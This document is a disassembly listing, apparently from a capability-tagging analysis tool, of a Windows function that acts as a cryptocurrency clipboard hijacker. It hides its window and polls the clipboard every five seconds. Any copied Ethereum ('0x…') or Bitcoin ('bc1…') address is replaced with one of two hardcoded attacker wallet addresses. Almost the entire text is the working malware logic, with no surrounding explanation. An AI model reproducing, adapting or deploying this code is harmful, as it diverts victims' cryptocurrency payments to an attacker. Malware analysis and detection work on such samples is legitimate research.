Function at 0x140001653
Capabilities:
Hide graphical window
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x140
lea rbp, [rsp + 0x80]
pxor xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movq qword [rbp + 0x40], xmm0
lea rax, [dbg.WindowProc(HWND__*, unsigned int, unsigned long long, long long)]
mov qword [rbp + 8], rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x18], rax
lea rax, str.ClipboardMonitorWindowClass
mov qword [rbp + 0x40], rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassA]
call rax
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140028038]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExA]
call rax
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140001736
mov eax, 0xffffffff
jmp 0x140001a2f
mov rax, qword [rbp + 0xb8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x1400019be
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
je 0x1400019b5
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x1400019b5
lea rax, [rbp + 0x4f]
mov qword [rbp + 0x90], rax
nop
nop
lea rcx, [rbp + 0x4f]
mov rdx, qword [rbp + 0xa8]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x4f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov ebx, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
cmp rax, 0x2a
jne 0x140001851
lea rax, [rbp + 0x50]
lea rdx, [rbp - 0x20]
mov r9d, 2
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
mov ebx, 1
lea rax, [rbp + 0x50]
lea rdx, [0x14002803a]
mov rcx, rax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
test al, al
je 0x140001851
mov esi, 1
jmp 0x140001856
mov esi, 0
test bl, bl
je 0x140001866
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test sil, sil
je 0x14000187e
lea rax, [rbp - 0x20]
lea rdx, str.0xbe256a46788913edaccec5e3f8dbc1267c81e08d
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp + 0x70]
lea rdx, [rbp - 0x20]
mov r9d, 3
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x70]
lea rdx, [0x14002806b]
mov rcx, rax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov ebx, eax
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x1400018d2
lea rax, [rbp - 0x20]
lea rdx, str.bc1qvev0r97qa94qdkn4l3daerm3zemcph4vmxvt4h
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0xa0], rax
cmp qword [rbp + 0xa0], 0
je 0x1400019a9
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
je 0x1400019a9
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rbx, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x98]
mov r8, rbx
mov rcx, rax
call sym.strncpy
mov rbx, qword [rbp + 0x98]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
add rax, rbx
mov byte [rax], 0
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [rbp + 0xa0]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000174e
add rsp, 0x140
pop rbx
pop rsi
pop rbp
ret